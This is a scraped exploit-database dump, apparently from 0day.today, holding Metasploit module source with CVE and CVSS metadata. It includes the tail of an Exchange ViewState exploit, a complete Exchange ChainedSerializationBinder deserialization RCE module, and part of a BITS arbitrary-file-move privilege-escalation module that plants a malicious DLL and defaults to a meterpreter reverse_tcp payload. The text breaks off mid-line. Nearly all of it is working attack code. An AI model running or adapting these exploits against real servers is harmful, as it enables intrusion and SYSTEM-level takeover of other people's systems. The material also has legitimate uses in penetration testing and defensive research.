[res.get_cookies]\r\n\r\n res = send_request_cgi({\r\n 'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'),\r\n 'cookie' => res.get_cookies,\r\n 'agent' => user_agent\r\n })\r\n fail_with(Failure::UnexpectedReply, 'Failed to get the __VIEWSTATEGENERATOR page') unless res && res.code == 200\r\n cookies << res.get_cookies\r\n\r\n viewstate_generator = res.body.scan(/id=\"__VIEWSTATEGENERATOR\"\\s+value=\"([a-fA-F0-9]{8})\"/).flatten[0]\r\n if viewstate_generator.nil?\r\n print_warning(\"Failed to find the __VIEWSTATEGENERATOR, using the default value: #{DEFAULT_VIEWSTATE_GENERATOR}\")\r\n viewstate_generator = DEFAULT_VIEWSTATE_GENERATOR\r\n else\r\n vprint_status(\"Recovered the __VIEWSTATEGENERATOR: #{viewstate_generator}\")\r\n end\r\n\r\n viewstate = res.body.scan(/id=\"__VIEWSTATE\"\\s+value=\"([a-zA-Z0-9\\+\\/]+={0,2})\"/).flatten[0]\r\n if viewstate.nil?\r\n vprint_warning('Failed to find the __VIEWSTATE value')\r\n end\r\n\r\n session_id = res.get_cookies.scan(/ASP\\.NET_SessionId=([\\w\\-]+);/).flatten[0]\r\n if session_id.nil?\r\n fail_with(Failure::UnexpectedReply, 'Failed to get the ASP.NET_SessionId from the response cookies')\r\n end\r\n vprint_status(\"Recovered the ASP.NET_SessionID: #{session_id}\")\r\n\r\n {user_agent: user_agent, cookies: cookies, viewstate: viewstate, viewstate_generator: viewstate_generator, session_id: session_id}\r\n end\r\nend\n\n# 0day.today [2020-03-05] #", "sourceHref": "https://0day.today/exploit/34051", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-06-07T16:30:29", "description": "This Metasploit module exploits vulnerabilities within the ChainedSerializationBinder as used in Exchange Server 2019 CU10, Exchange Server 2019 CU11, Exchange Server 2016 CU21, and Exchange Server 2016 CU22 all prior to Mar22SU. Note that authentication is required to exploit these vulnerabilities.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-08-22T00:00:00", "type": "zdt", "title": "Microsoft Exchange Server ChainedSerializationBinder Remote Code Execution Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-42321", "CVE-2022-23277"], "modified": "2022-08-22T00:00:00", "id": "1337DAY-ID-37920", "href": "https://0day.today/exploit/description/37920", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'nokogiri'\n\nclass MetasploitModule < Msf::Exploit::Remote\n\n Rank = ExcellentRanking\n\n prepend Msf::Exploit::Remote::AutoCheck\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::CmdStager\n include Msf::Exploit::Powershell\n include Msf::Exploit::Remote::HTTP::Exchange\n include Msf::Exploit::Deprecated\n moved_from 'exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce'\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Microsoft Exchange Server ChainedSerializationBinder RCE',\n 'Description' => %q{\n This module exploits vulnerabilities within the ChainedSerializationBinder as used in\n Exchange Server 2019 CU10, Exchange Server 2019 CU11, Exchange Server 2016 CU21, and\n Exchange Server 2016 CU22 all prior to Mar22SU.\n\n Note that authentication is required to exploit these vulnerabilities.\n },\n 'Author' => [\n 'pwnforsp', # Original Bug Discovery\n 'zcgonvh', # Of 360 noah lab, Original Bug Discovery\n 'Microsoft Threat Intelligence Center', # Discovery of exploitation in the wild\n 'Microsoft Security Response Center', # Discovery of exploitation in the wild\n 'peterjson', # Writeup\n 'testanull', # PoC Exploit\n 'Grant Willcox', # Aka tekwizz123. That guy in the back who took the hard work of all the people above and wrote this module :D\n 'Spencer McIntyre', # CVE-2022-23277 support and DataSet gadget chains\n 'Markus Wulftange' # CVE-2022-23277 research\n ],\n 'References' => [\n # CVE-2021-42321 references\n ['CVE', '2021-42321'],\n ['URL', 'https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321'],\n ['URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-9-2021-kb5007409-7e1f235a-d41b-4a76-bcc4-3db90cd161e7'],\n ['URL', 'https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169'],\n ['URL', 'https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398'],\n ['URL', 'https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852'],\n # CVE-2022-23277 references\n ['CVE', '2022-23277'],\n ['URL', 'https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html'],\n ['URL', 'https://testbnull.medium.com/note-nhanh-v%E1%BB%81-binaryformatter-binder-v%C3%A0-cve-2022-23277-6510d469604c']\n ],\n 'DisclosureDate' => '2021-12-09',\n 'License' => MSF_LICENSE,\n 'Platform' => 'win',\n 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n 'Privileged' => true,\n 'Targets' => [\n [\n 'Windows Command',\n {\n 'Arch' => ARCH_CMD,\n 'Type' => :win_cmd\n }\n ],\n [\n 'Windows Dropper',\n {\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :win_dropper,\n 'DefaultOptions' => {\n 'CMDSTAGER::FLAVOR' => :psh_invokewebrequest\n }\n }\n ],\n [\n 'PowerShell Stager',\n {\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :psh_stager\n }\n ]\n ],\n 'DefaultTarget' => 0,\n 'DefaultOptions' => {\n 'SSL' => true,\n 'HttpClientTimeout' => 5,\n 'WfsDelay' => 10\n },\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [REPEATABLE_SESSION],\n 'SideEffects' => [\n IOC_IN_LOGS, # Can easily log using advice at https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169\n CONFIG_CHANGES # Alters the user configuration on the Inbox folder to get the payload to trigger.\n ]\n }\n )\n )\n register_options([\n Opt::RPORT(443),\n OptString.new('TARGETURI', [true, 'Base path', '/']),\n OptString.new('HttpUsername', [true, 'The username to log into the Exchange server as']),\n OptString.new('HttpPassword', [true, 'The password to use to authenticate to the Exchange server'])\n ])\n end\n\n def post_auth?\n true\n end\n\n def username\n datastore['HttpUsername']\n end\n\n def password\n datastore['HttpPassword']\n end\n\n def cve_2021_42321_vuln_builds\n # https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019\n [\n '15.1.2308.8', '15.1.2308.14', '15.1.2308.15', # Exchange Server 2016 CU21\n '15.1.2375.7', '15.1.2375.12', # Exchange Server 2016 CU22\n '15.2.922.7', '15.2.922.13', '15.2.922.14', # Exchange Server 2019 CU10\n '15.2.986.5', '15.2.986.9' # Exchange Server 2019 CU11\n ]\n end\n\n def cve_2022_23277_vuln_builds\n # https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019\n [\n '15.1.2308.20', # Exchange Server 2016 CU21 Nov21SU\n '15.1.2308.21', # Exchange Server 2016 CU21 Jan22SU\n '15.1.2375.17', # Exchange Server 2016 CU22 Nov21SU\n '15.1.2375.18', # Exchange Server 2016 CU22 Jan22SU\n '15.2.922.19', # Exchange Server 2019 CU10 Nov21SU\n '15.2.922.20', # Exchange Server 2019 CU10 Jan22SU\n '15.2.986.14', # Exchange Server 2019 CU11 Nov21SU\n '15.2.986.15' # Exchange Server 2019 CU11 Jan22SU\n ]\n end\n\n def check\n # Note we are only checking official releases here to reduce requests when checking versions with exchange_get_version\n current_build_rex = exchange_get_version(exchange_builds: cve_2021_42321_vuln_builds + cve_2022_23277_vuln_builds)\n if current_build_rex.nil?\n return CheckCode::Unknown(\"Couldn't retrieve the target Exchange Server version!\")\n end\n\n @exchange_build = current_build_rex.to_s\n\n if cve_2021_42321_vuln_builds.include?(@exchange_build)\n CheckCode::Appears(\"Exchange Server #{@exchange_build} is vulnerable to CVE-2021-42321\")\n elsif cve_2022_23277_vuln_builds.include?(@exchange_build)\n CheckCode::Appears(\"Exchange Server #{@exchange_build} is vulnerable to CVE-2022-23277\")\n else\n CheckCode::Safe(\"Exchange Server #{@exchange_build} does not appear to be a vulnerable version!\")\n end\n end\n\n def exploit\n if @exchange_build.nil? # make sure the target build is known and if it's not (because the check was skipped), get it\n @exchange_build = exchange_get_version(exchange_builds: cve_2021_42321_vuln_builds + cve_2022_23277_vuln_builds)&.to_s\n if @exchange_build.nil?\n fail_with(Failure::Unknown, 'Failed to identify the target Exchange Server build version.')\n end\n end\n\n if cve_2021_42321_vuln_builds.include?(@exchange_build)\n @gadget_chain = :ClaimsPrincipal\n elsif cve_2022_23277_vuln_builds.include?(@exchange_build)\n @gadget_chain = :DataSetTypeSpoof\n else\n fail_with(Failure::NotVulnerable, \"Exchange Server #{@exchange_build} is not a vulnerable version!\")\n end\n\n case target['Type']\n when :win_cmd\n execute_command(payload.encoded)\n when :win_dropper\n execute_cmdstager\n when :psh_stager\n execute_command(cmd_psh_payload(\n payload.encoded,\n payload.arch.first,\n remove_comspec: true\n ))\n end\n end\n\n def execute_command(cmd, _opts = {})\n # Get the user's inbox folder's ID and change key ID.\n print_status(\"Getting the user's inbox folder's ID and ChangeKey ID...\")\n xml_getfolder_inbox = %(<?xml version=\"1.0\" encoding=\"utf-8\"?>\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Header>\n <t:RequestServerVersion Version=\"Exchange2013\" />\n </soap:Header>\n <soap:Body>\n <m:GetFolder>\n <m:FolderShape>\n <t:BaseShape>AllProperties</t:BaseShape>\n </m:FolderShape>\n <m:FolderIds>\n <t:DistinguishedFolderId Id=\"inbox\" />\n </m:FolderIds>\n </m:GetFolder>\n </soap:Body>\n </soap:Envelope>)\n\n res = send_request_cgi(\n {\n 'method' => 'POST',\n 'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),\n 'data' => xml_getfolder_inbox,\n 'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.\n }\n )\n fail_with(Failure::Unreachable, 'Connection failed') if res.nil?\n\n unless res&.body\n fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')\n end\n\n if res.code == 401\n fail_with(Failure::NoAccess, \"Server responded with 401 Unauthorized for user: #{datastore['DOMAIN']}\\\\#{username}\")\n end\n\n xml_getfolder = res.get_xml_document\n xml_getfolder.remove_namespaces!\n xml_tag = xml_getfolder.xpath('//FolderId')\n if xml_tag.empty?\n print_error('Are you sure the current user has logged in previously to set up their mailbox? It seems they may have not had a mailbox set up yet!')\n fail_with(Failure::UnexpectedReply, 'Response obtained but no FolderId element was found within it!')\n end\n unless xml_tag.attribute('Id') && xml_tag.attribute('ChangeKey')\n fail_with(Failure::UnexpectedReply, 'Response obtained without expected Id and ChangeKey elements!')\n end\n change_key_val = xml_tag.attribute('ChangeKey').value\n folder_id_val = xml_tag.attribute('Id').value\n print_good(\"ChangeKey value for Inbox folder is #{change_key_val}\")\n print_good(\"ID value for Inbox folder is #{folder_id_val}\")\n\n # Delete the user configuration object that currently on the Inbox folder.\n print_status('Deleting the user configuration object associated with Inbox folder...')\n xml_delete_inbox_user_config = %(<?xml version=\"1.0\" encoding=\"utf-8\"?>\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Header>\n <t:RequestServerVersion Version=\"Exchange2013\" />\n </soap:Header>\n <soap:Body>\n <m:DeleteUserConfiguration>\n <m:UserConfigurationName Name=\"ExtensionMasterTable\">\n <t:FolderId Id=\"#{folder_id_val}\" ChangeKey=\"#{change_key_val}\" />\n </m:UserConfigurationName>\n </m:DeleteUserConfiguration>\n </soap:Body>\n </soap:Envelope>)\n\n res = send_request_cgi(\n {\n 'method' => 'POST',\n 'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),\n 'data' => xml_delete_inbox_user_config,\n 'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.\n }\n )\n fail_with(Failure::Unreachable, 'Connection failed') if res.nil?\n\n unless res&.body\n fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')\n end\n\n if res.body =~ %r{<m:DeleteUserConfigurationResponseMessage ResponseClass=\"Success\"><m:ResponseCode>NoError</m:ResponseCode></m:DeleteUserConfigurationResponseMessage>}\n print_good('Successfully deleted the user configuration object associated with the Inbox folder!')\n else\n print_warning('Was not able to successfully delete the existing user configuration on the Inbox folder!')\n print_warning('Sometimes this may occur when there is not an existing config applied to the Inbox folder (default 2016 installs have this issue)!')\n end\n\n # Now to replace the deleted user configuration object with our own user configuration object.\n print_status('Creating the malicious user configuration object on the Inbox folder!')\n\n xml_malicious_user_config = %(<?xml version=\"1.0\" encoding=\"utf-8\"?>\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Header>\n <t:RequestServerVersion Version=\"Exchange2013\" />\n </soap:Header>\n <soap:Body>\n <m:CreateUserConfiguration>\n <m:UserConfiguration>\n <t:UserConfigurationName Name=\"ExtensionMasterTable\">\n <t:FolderId Id=\"#{folder_id_val}\" ChangeKey=\"#{change_key_val}\" />\n </t:UserConfigurationName>\n <t:Dictionary>\n <t:DictionaryEntry>\n <t:DictionaryKey>\n <t:Type>String</t:Type>\n <t:Value>OrgChkTm</t:Value>\n </t:DictionaryKey>\n <t:DictionaryValue>\n <t:Type>Integer64</t:Type>\n <t:Value>#{rand(1000000000000000000..9111999999999999999)}</t:Value>\n </t:DictionaryValue>\n </t:DictionaryEntry>\n <t:DictionaryEntry>\n <t:DictionaryKey>\n <t:Type>String</t:Type>\n <t:Value>OrgDO</t:Value>\n </t:DictionaryKey>\n <t:DictionaryValue>\n <t:Type>Boolean</t:Type>\n <t:Value>false</t:Value>\n </t:DictionaryValue>\n </t:DictionaryEntry>\n </t:Dictionary>\n <t:BinaryData>#{Rex::Text.encode_base64(Msf::Util::DotNetDeserialization.generate(cmd, gadget_chain: @gadget_chain, formatter: :BinaryFormatter))}</t:BinaryData>\n </m:UserConfiguration>\n </m:CreateUserConfiguration>\n </soap:Body>\n </soap:Envelope>)\n\n res = send_request_cgi(\n {\n 'method' => 'POST',\n 'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),\n 'data' => xml_malicious_user_config,\n 'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.\n }\n )\n fail_with(Failure::Unreachable, 'Connection failed') if res.nil?\n\n unless res&.body\n fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')\n end\n\n unless res.body =~ %r{<m:CreateUserConfigurationResponseMessage ResponseClass=\"Success\"><m:ResponseCode>NoError</m:ResponseCode></m:CreateUserConfigurationResponseMessage>}\n fail_with(Failure::UnexpectedReply, 'Was not able to successfully create the malicious user configuration on the Inbox folder!')\n end\n\n print_good('Successfully created the malicious user configuration object and associated with the Inbox folder!')\n\n # Deserialize our object. If all goes well, you should now have SYSTEM :)\n print_status('Attempting to deserialize the user configuration object using a GetClientAccessToken request...')\n xml_get_client_access_token = %(<?xml version=\"1.0\" encoding=\"utf-8\"?>\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Header>\n <t:RequestServerVersion Version=\"Exchange2013\" />\n </soap:Header>\n <soap:Body>\n <m:GetClientAccessToken>\n <m:TokenRequests>\n <t:TokenRequest>\n <t:Id>#{Rex::Text.rand_text_alphanumeric(4..50)}</t:Id>\n <t:TokenType>CallerIdentity</t:TokenType>\n </t:TokenRequest>\n </m:TokenRequests>\n </m:GetClientAccessToken>\n </soap:Body>\n </soap:Envelope>)\n\n begin\n send_request_cgi(\n {\n 'method' => 'POST',\n 'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),\n 'data' => xml_get_client_access_token,\n 'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.\n }\n )\n rescue Errno::ECONNRESET\n # when using the DataSetTypeSpoof gadget, it's expected that this connection reset exception will be raised\n end\n end\nend\n", "sourceHref": "https://0day.today/exploit/37920", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2023-06-05T18:35:46", "description": "This Metasploit module exploits CVE-2020-0787, an arbitrary file move vulnerability in outdated versions of the Background Intelligent Transfer Service (BITS), to overwrite C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll with a malicious DLL containing the attacker's payload. To achieve code execution as the SYSTEM user, the Update Session Orchestrator service is then started, which will result in the malicious WindowsCoreDeviceInfo.dll being run with SYSTEM privileges due to a DLL hijacking issue within the Update Session Orchestrator Service. Note that presently this module only works on Windows 10 and Windows Server 2016 and later as the Update Session Orchestrator Service was only introduced in Windows 10. Note that only Windows 10 has been tested, so your mileage may vary on Windows Server 2016 and later.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-06-12T00:00:00", "type": "zdt", "title": "Background Intelligent Transfer Service Privilege Escalation Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688", "CVE-2020-0787"], "modified": "2020-06-12T00:00:00", "id": "1337DAY-ID-34553", "href": "https://0day.today/exploit/description/34553", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\n Rank = ExcellentRanking\n\n include Msf::Post::Windows::Priv\n include Msf::Exploit::EXE # Needed for generate_payload_dll\n include Msf::Post::Windows::FileSystem\n include Msf::Post::Windows::ReflectiveDLLInjection\n include Msf::Exploit::FileDropper\n include Msf::Post::File\n include Msf::Exploit::Remote::AutoCheck\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Background Intelligent Transfer Service Arbitrary File Move Privilege Elevation Vulnerability',\n 'Description' => %q{\n This module exploits CVE-2020-0787, an arbitrary file move vulnerability in outdated versions of the\n Background Intelligent Transfer Service (BITS), to overwrite C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll\n with a malicious DLL containing the attacker's payload.\n\n To achieve code execution as the SYSTEM user, the Update Session Orchestrator service is then started, which\n will result in the malicious WindowsCoreDeviceInfo.dll being run with SYSTEM privileges due to a DLL hijacking\n issue within the Update Session Orchestrator Service.\n\n Note that presently this module only works on Windows 10 and Windows Server 2016 and later as the\n Update Session Orchestrator Service was only introduced in Windows 10. Note that only Windows 10 has been tested,\n so your mileage may vary on Windows Server 2016 and later.\n },\n 'License' => MSF_LICENSE,\n 'Author' =>\n [\n 'itm4n', # PoC\n 'gwillcox-r7' # msf module\n ],\n 'Platform' => ['win'],\n 'SessionTypes' => ['meterpreter'],\n 'Privileged' => true,\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Targets' =>\n [\n [ 'Windows DLL Dropper', { 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :windows_dropper } ],\n ],\n 'DefaultTarget' => 0,\n 'DisclosureDate' => '2020-03-10',\n 'References' =>\n [\n ['CVE', '2020-0787'],\n ['URL', 'https://itm4n.github.io/cve-2020-0787-windows-bits-eop/'],\n ['URL', 'https://github.com/itm4n/BitsArbitraryFileMove'],\n ['URL', 'https://attackerkb.com/assessments/e61cfec0-d766-4e7e-89f7-5aad2460afb8'],\n ['URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html'],\n ['URL', 'https://itm4n.github.io/usodllloader-part1/'],\n ['URL', 'https://itm4n.github.io/usodllloader-part2/'],\n ],\n 'Notes' =>\n {\n 'SideEffects' => [ ARTIFACTS_ON_DISK ],\n 'Reliability' => [ REPEATABLE_SESSION ],\n 'Stability' => [ CRASH_SAFE ]\n },\n 'DefaultOptions' =>\n {\n 'EXITFUNC' => 'thread',\n 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',\n 'WfsDelay' => 900\n }\n )\n )\n\n register_options([\n OptBool.new('OVERWRITE_DLL', [true, 'Overwrite WindowsCoreDeviceInfo.dll if it exists (false by default).', false]),\n OptInt.new('JOB_WAIT_TIME', [true, 'Time to wait for the BITS job to complete before starting the USO service to execute the uploaded payload, in seconds', 20])\n ])\n end\n\n def target_not_presently_supported\n print_warning('This target is not presently supported by this exploit. Support may be added in the future!')\n print_warning('Attempts to exploit this target with this module WILL NOT WORK!')\n end\n\n def check\n sysinfo_value = sysinfo['OS']\n\n if sysinfo_value !~ /windows/i\n # Non-Windows systems are definitely not affected.\n return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')\n end\n\n # XXX Using session.shell_command_token over cmd_exec() here as @wvu-r7 noticed cmd_exec() was broken under some situations.\n build_num_raw = session.shell_command_token('cmd.exe /c ver')\n build_num = build_num_raw.match(/\\d+\\.\\d+\\.\\d+\\.\\d+/)\n if build_num.nil?\n print_error(\"Couldn't retrieve the target's build number!\")\n else\n build_num = build_num_raw.match(/\\d+\\.\\d+\\.\\d+\\.\\d+/)[0]\n print_status(\"Target's build number: #{build_num}\")\n end\n\n # see https://docs.microsoft.com/en-us/windows/release-information/\n unless sysinfo_value =~ /(7|8|8\\.1|10|2008|2012|2016|2019|1803|1903)/\n return CheckCode::Safe('Target is not running a vulnerable version of Windows!')\n end\n\n build_num_gemversion = Gem::Version.new(build_num)\n\n # Build numbers taken from https://www.qualys.com/research/security-alerts/2020-03-10/microsoft/\n if (build_num_gemversion >= Gem::Version.new('10.0.18363.0')) && (build_num_gemversion < Gem::Version.new('10.0.18363.719')) # Windows 10 v1909\n return CheckCode::Appears('Vulnerable Windows 10 v1909 build detected!')\n elsif (build_num_gemversion >= Gem::Version.new('10.0.18362.0')) && (build_num_gemversion < Gem::Version.new('10.0.18362.719')) # Windows 10 v1903\n return CheckCode::Appears('Vulnerable Windows 10 v1903 build detected!')\n elsif (build_num_gemversion >= Gem::Version.new('10.0.17763.0')) && (build_num_gemversion < Gem::Version.new('10.0.17763.1098')) # Windows 10 v1809\n return CheckCode::Appears('Vulnerable Windows 10 v1809 build detected!')\n elsif (build_num_gemversion >= Gem::Version.new('10.0.17134.0')) && (build_num_gemversion < Gem::Version.new('10.0.17134.1365')) # Windows 10 v1803\n return CheckCode::Appears('Vulnerable Windows 10 v1803 build detected!')\n elsif (build_num_gemversion >= Gem::Version.new('10.0.16299.0')) && (build_num_gemversion < Gem::Version.new('10.0.16299.1747')) # Windows 10 v1709\n return CheckCode::Appears('Vulnerable Windows 10 v1709 build detected!')\n elsif (build_num_gemversion >= Gem::Version.new('10.0.15063.0')) && (build_num_gemversion < Gem::Version.new('10.0.15063.2313')) # Windows 10 v1703\n return CheckCode::Appears('Vulnerable Windows 10 v1703 build detected!')\n elsif (build_num_gemversion >= Gem::Version.new('10.0.14393.0')) && (build_num_gemversion < Gem::Version.new('10.0.14393.3564')) # Windows 10 v1607\n return CheckCode::Appears('Vulnerable Windows 10 v1607 build detected!')\n elsif (build_num_gemversion >= Gem::Version.new('10.0.10586.0')) && (build_num_gemversion < Gem::Version.new('10.0.10586.9999999')) # Windows 10 v1511\n return CheckCode::Appears('Vulnerable Windows 10 v1511 build detected!')\n elsif (build_num_gemversion >= Gem::Version.new('10.0.10240.0')) && (build_num_gemversion < Gem::Version.new('10.0.10240.18519')) # Windows 10 v1507\n return CheckCode::Appears('Vulnerable Windows 10 v1507 build detected!')\n elsif (build_num_gemversion >= Gem::Version.new('6.3.9600.0')) && (build_num_gemversion < Gem::Version.new('6.3.9600.19665')) # Windows 8.1/Windows Server 2012 R2\n target_not_presently_supported\n return CheckCode::Appears('Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!')\n elsif (build_num_gemversion >= Gem::Version.new('6.2.9200.0')) && (build_num_gemversion < Gem::Version.new('6.2.9200.23009')) # Windows 8/Windows Server 2012\n target_not_presently_supported\n return CheckCode::AppearsAppears('Vulnerable Windows 8/Windows Server 2012 build detected!')\n elsif (build_num_gemversion >= Gem::Version.new('6.1.7600.0')) && (build_num_gemversion < Gem::Version.new('6.1.7601.24549')) # Windows 7/Windows Server 2008 R2\n target_not_presently_supported\n return CheckCode::Appears('Vulnerable Windows 7/Windows Server 2008 R2 build detected!')\n elsif (build_num_gemversion >= Gem::Version.new('6.0.6001.0')) && (build_num_gemversion < Gem::Version.new('6.0.6003.20749')) # Windows Server 2008/Windows Server 2008 SP2\n target_not_presently_supported\n return CheckCode::Appears('Windows Server 2008/Windows Server 2008 SP2 build detected!')\n else\n return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')\n end\n end\n\n def check_target_is_running_supported_windows_version\n if sysinfo['OS'].match('Windows').nil?\n fail_with(Failure::NotVulnerable, 'Target is not running Windows!')\n elsif sysinfo['OS'].match('Windows 10').nil? && sysinfo['OS'].match('Windows Server 2016').nil? && sysinfo['OS'].match('Windows Server 2019').nil?\n fail_with(Failure::BadConfig, 'Target is running Windows, its not a version this module supports! Bailing...')\n end\n end\n\n def check_target_and_payload_match_and_supported(client_arch)\n if (client_arch != ARCH_X64) && (client_arch != ARCH_X86)\n fail_with(Failure::BadConfig, 'This exploit currently only supports x86 and x64 targets!')\n end\n payload_arch = payload.arch.first # TODO: Add missing documentation for payload.arch, @wvu used this first but it is not documented anywhere.\n if (payload_arch != ARCH_X64) && (payload_arch != ARCH_X86)\n fail_with(Failure::BadConfig, \"Unsupported payload architecture (#{payload_arch})\") # Unsupported architecture, so return an error.\n end\n if ((client_arch == ARCH_X64) && (payload_arch != ARCH_X64)) || ((client_arch == ARCH_X86) && (payload_arch != ARCH_X86))\n fail_with(Failure::BadConfig, \"Payload architecture (#{payload_arch}) doesn't match the architecture of the target (#{client_arch})!\")\n end\n end\n\n def check_windowscoredeviceinfo_dll_exists_on_target\n # Taken from bwatters-r7's cve-2020-0688_service_tracing.rb code.\n #\n # We are going to overwrite the WindowsCoreDeviceInfo.dll DLL as part of our exploit.\n # The second part of this exploit will trigger a Update Session to be created so that this DLL\n # is loaded, which will result in arbitrary code execution as SYSTEM.\n #\n # To prevent any errors, we will first check that this file doesn't exist and ask the user if they are sure\n # that they want to overwrite the file.\n win_dir = session.sys.config.getenv('windir')\n normal_target_payload_pathname = \"#{win_dir}\\\\System32\\\\WindowsCoreDeviceInfo.dll\"\n wow64_target_payload_pathname = \"#{win_dir}\\\\Sysnative\\\\WindowsCoreDeviceInfo.dll\"\n wow64_existing_file = \"#{win_dir}\\\\Sysnative\\\\win32k.sys\"\n if file?(wow64_existing_file)\n if file?(wow64_target_payload_pathname)\n print_warning(\"#{wow64_target_payload_pathname} already exists\")\n print_warning('If it is in use, the overwrite will fail')\n unless datastore['OVERWRITE_DLL']\n print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')\n fail_with(Failure::BadConfig, 